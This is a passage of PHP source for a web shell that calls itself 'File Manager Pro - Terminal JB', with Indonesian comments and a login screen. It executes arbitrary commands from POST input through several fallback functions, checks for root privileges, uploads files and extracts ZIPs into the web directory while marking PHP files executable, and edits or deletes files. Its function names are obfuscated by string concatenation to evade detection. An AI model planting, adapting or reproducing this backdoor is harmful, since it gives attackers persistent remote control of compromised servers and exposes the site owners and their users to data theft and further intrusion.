$d) $_GET[$c] = y($d); // Set current directory $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); $chd($currentDirectory); // Check if running as root $isRoot = (function_exists('posix_getuid') && posix_getuid() === 0) || (strpos(php_uname(), 'root') !== false) || (function_exists('shell_exec') && trim(shell_exec('whoami')) === 'root'); // ============================================ // ZIP EXTRACTION FUNCTION - LANGSUNG JADI FILE PHP // ============================================ function extractZipToCurrent($zipFile) { $zip = new ZipArchive(); $extractCount = 0; $phpCount = 0; $errors = []; $extractedFiles = []; if ($zip->open($zipFile) === TRUE) { // Extract all files langsung ke current directory for ($i = 0; $i < $zip->numFiles; $i++) { $filename = $zip->getNameIndex($i); $fileinfo = pathinfo($filename); // Skip directories if (substr($filename, -1) == '/') continue; // Get just the filename without path $basename = basename($filename); // Extract the file langsung ke current directory if ($zip->extractTo('./', $filename)) { // If file was extracted with path, move it to current directory if ($filename != $basename) { $extractedWithPath = './' . $filename; $newLocation = './' . $basename; if (file_exists($extractedWithPath)) { rename($extractedWithPath, $newLocation); // Clean up empty directories $dirToRemove = dirname('./' . $filename); while ($dirToRemove != '.' && is_dir($dirToRemove)) { rmdir($dirToRemove); $dirToRemove = dirname($dirToRemove); } } } else { $newLocation = './' . $basename; } $extractCount++; $extractedFiles[] = $basename; // If it's a PHP file, set proper permissions if (isset($fileinfo['extension']) && strtolower($fileinfo['extension']) == 'php') { @chmod('./' . $basename, 0755); $phpCount++; } else { @chmod('./' . $basename, 0644); } } else { $errors[] = "Failed to extract: " . $filename; } } $zip->close(); return [ 'success' => true, 'count' => $extractCount, 'php_count' => $phpCount, 'files' => $extractedFiles, 'errors' => $errors ]; } else { return ['success' => false, 'error' => 'Failed to open ZIP file']; } } // ============================================ // TERMINAL JB FUNCTION - IMPROVED COMMAND EXECUTION // ============================================ function executeTerminalJB($command) { $output = ''; $error = ''; // Cek berbagai metode eksekusi command if (function_exists('shell_exec')) { // Method 1: shell_exec $result = shell_exec($command . ' 2>&1'); if ($result !== null) { $output = $result; } } elseif (function_exists('exec')) { // Method 2: exec exec($command . ' 2>&1', $outputArray, $returnCode); $output = implode("\n", $outputArray); } elseif (function_exists('system')) { // Method 3: system with output buffering ob_start(); system($command . ' 2>&1', $returnCode); $output = ob_get_clean(); } elseif (function_exists('passthru')) { // Method 4: passthru with output buffering ob_start(); passthru($command . ' 2>&1', $returnCode); $output = ob_get_clean(); } elseif (function_exists('proc_open')) { // Method 5: proc_open (paling reliable) $descriptorspec = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'] // stderr ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { // Close stdin fclose($pipes[0]); // Get output $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); // Close pipes fclose($pipes[1]); fclose($pipes[2]); // Get return code $returnCode = proc_close($process); $output = $stdout; if (!empty($stderr)) { $error = $stderr; } } } elseif (function_exists('popen')) { // Method 6: popen $handle = popen($command . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fgets($handle); } pclose($handle); } } // Jika output kosong tapi ada error, tampilkan error if (empty(trim($output)) && !empty($error)) { $output = $error; } // Jika masih kosong, beri pesan if (empty(trim($output))) { $output = "Command executed but no output returned.\n"; if ($command == 'ls' || $command == 'dir') { $output = "Directory listing:\n"; $files = scandir(getcwd()); foreach ($files as $file) { if ($file != '.' && $file != '..') { $output .= $file . "\n"; } } } } return $output; } // ============================================ // REQUEST HANDLER // ============================================ $viewCommandResult = ''; $alertMessages = []; if ($_SERVER['REQUEST_METHOD'] === 'POST') { // FILE UPLOAD HANDLER if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]); if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) { $alertMessages[] = ['type' => 'success', 'message' => 'File ' . $htm($bs($_FILES["fileToUpload"]["name"])) . ' uploaded successfully!']; } else { $alertMessages[] = ['type' => 'error', 'message' => 'Sorry, there was an error uploading your file.']; } } // ZIP UPLOAD & EXTRACT HANDLER - LANGSUNG JADI FILE PHP elseif (isset($_FILES['zipToUpload'])) { $zipFile = $_FILES['zipToUpload']['tmp_name']; $zipName = $bs($_FILES["zipToUpload"]["name"]); $zipExt = strtolower(pathinfo($zipName, PATHINFO_EXTENSION)); // Check if it's a valid ZIP file if ($zipExt != 'zip') { $alertMessages[] = ['type' => 'error', 'message' => 'Error: File must be a ZIP archive!']; } else { // Extract langsung ke current directory $result = extractZipToCurrent($zipFile); if ($result['success']) { $message = "✅ ZIP extracted successfully! " . $result['count'] . " files extracted to current directory."; if ($result['php_count'] > 0) { $message .= "
🐘 PHP files detected and activated: " . $result['php_count'] . ""; $message .= "
📄 Files: " . implode(", ", array_slice($result['files'], 0, 5)); if (count($result['files']) > 5) { $message .= " and " . (count($result['files']) - 5) . " more..."; } } if (!empty($result['errors'])) { $message .= "
⚠️ Warnings: " . implode(", ", $result['errors']); } $alertMessages[] = ['type' => 'success', 'message' => $message]; // Refresh the page to show new files echo ''; } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: ' . $result['error']]; } } } // CREATE FOLDER HANDLER elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $ff = $_POST['folder_name']; $newFolder = $currentDirectory . '/' . $ff; if (!file_exists($newFolder)) { if ($mek($newFolder) !== false) { $alertMessages[] = ['type' => 'success', 'message' => 'Folder created successfully: ' . $ff]; } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to create folder!']; } } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: Folder already exists!']; } } // CREATE FILE HANDLER elseif (isset($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if ($fpc($newFile, '') !== false) { $alertMessages[] = ['type' => 'success', 'message' => 'File created successfully: ' . $fileName]; $fileToView = $newFile; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = generateEditForm($fileName, $fileContent); } } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to create file!']; } } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: File already exists!']; } } // DELETE HANDLER elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; $result = handleDelete($fileToDelete, $_POST['delete_file']); $alertMessages[] = $result; } // RENAME HANDLER elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name']) && !empty($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; $result = handleRename($oldName, $newName, $_POST['old_name']); $alertMessages[] = $result; } // TERMINAL JB HANDLER (dulu Standard Command) elseif (isset($_POST['terminal_jb_cmd'])) { $command = $_POST['terminal_jb_cmd']; $output = executeTerminalJB($command); $viewCommandResult = generateTerminalJBOutput($command, $output); } // VIEW FILE HANDLER elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = generateEditForm($_POST['view_file'], $fileContent); } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: File not found!']; } } // EDIT FILE HANDLER elseif (isset($_POST['edit_file'])) { $ef = $currentDirectory . '/' . $_POST['edit_file']; $newContent = $_POST['content']; if ($fpc($ef, $newContent) !== false) { $alertMessages[] = ['type' => 'success', 'message' => 'File edited successfully: ' . $_POST['edit_file']]; } else { $alertMessages[] = ['type' => 'error', 'message' => 'Error: Failed to edit file!']; } } } // ============================================ // HELPER FUNCTIONS // ============================================ function showLoginPage() { ?> Authentication Required

🔒 Access Restricted

You don't have permission to access this page
Please enter the password to continue
Server:
Port: 80
Editing: ' . $fileName . '
'; } function generateTerminalJBOutput($command, $output) { $htm = "h" . "t" . "m" . "l" . "s" . "p" . "e" . "c" . "i" . "a" . "l" . "c" . "h" . "a" . "r" . "s"; // Get current directory $currentDir = getcwd(); return '
Terminal JB - Command Output
$ ' . $htm($command) . '
Directory: ' . $htm($currentDir) . '
' . $htm($output) . '
'; } function handleDelete($path, $name) { $unl = "u" . "n" . "l" . "i" . "n" . "k"; if (!file_exists($path)) { return ['type' => 'error', 'message' => 'Error: File or directory not found!']; } if (is_dir($path)) { if (deleteDirectory($path)) { return ['type' => 'success', 'message' => 'Folder deleted successfully: ' . $name]; } } else { if ($unl($path)) { return ['type' => 'success', 'message' => 'File deleted successfully: ' . $name]; } } return ['type' => 'error', 'message' => 'Error: Failed to delete!']; } function handleRename($old, $new, $oldName) { if (file_exists($old)) { if (rename($old, $new)) { return ['type' => 'success', 'message' => 'Item renamed successfully: ' . $oldName]; } } return ['type' => 'error', 'message' => 'Error: Failed to rename item!']; } function deleteDirectory($dir) { $unl = "u" . "n" . "l" . "i" . "n" . "k"; if (!file_exists($dir)) return true; if (!is_dir($dir)) return $unl($dir); $scd = "s" . "c" . "a" . "n" . "d" . "i" . "r"; foreach ($scd($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir); } // ============================================ // SORT ITEMS - FOLDERS FIRST, FILES AFTER // ============================================ $allItems = $scd($currentDirectory); $folders = []; $files = []; foreach ($allItems as $item) { if ($item == '.' || $item == '..') continue; $fullPath = $currentDirectory . '/' . $item; if (is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort folders and files alphabetically sort($folders, SORT_STRING); sort($files, SORT_STRING); // ============================================ // HTML OUTPUT STARTS HERE // ============================================ ?> File Manager Pro - Terminal JB

GAS DULU LAHH Terminal JB PHP Auto-Pilot ROOT

Kernel: Time: Timezone: mail(): putenv(): ROOT Access

Upload File (Non-ZIP)

Folders items
Folder Name Size Modified Permissions View Delete Rename
ROOT --
Files items
File Name Size Modified Permissions View/Edit Delete Rename
ROOT PHP

Empty Directory

No files or folders found in this directory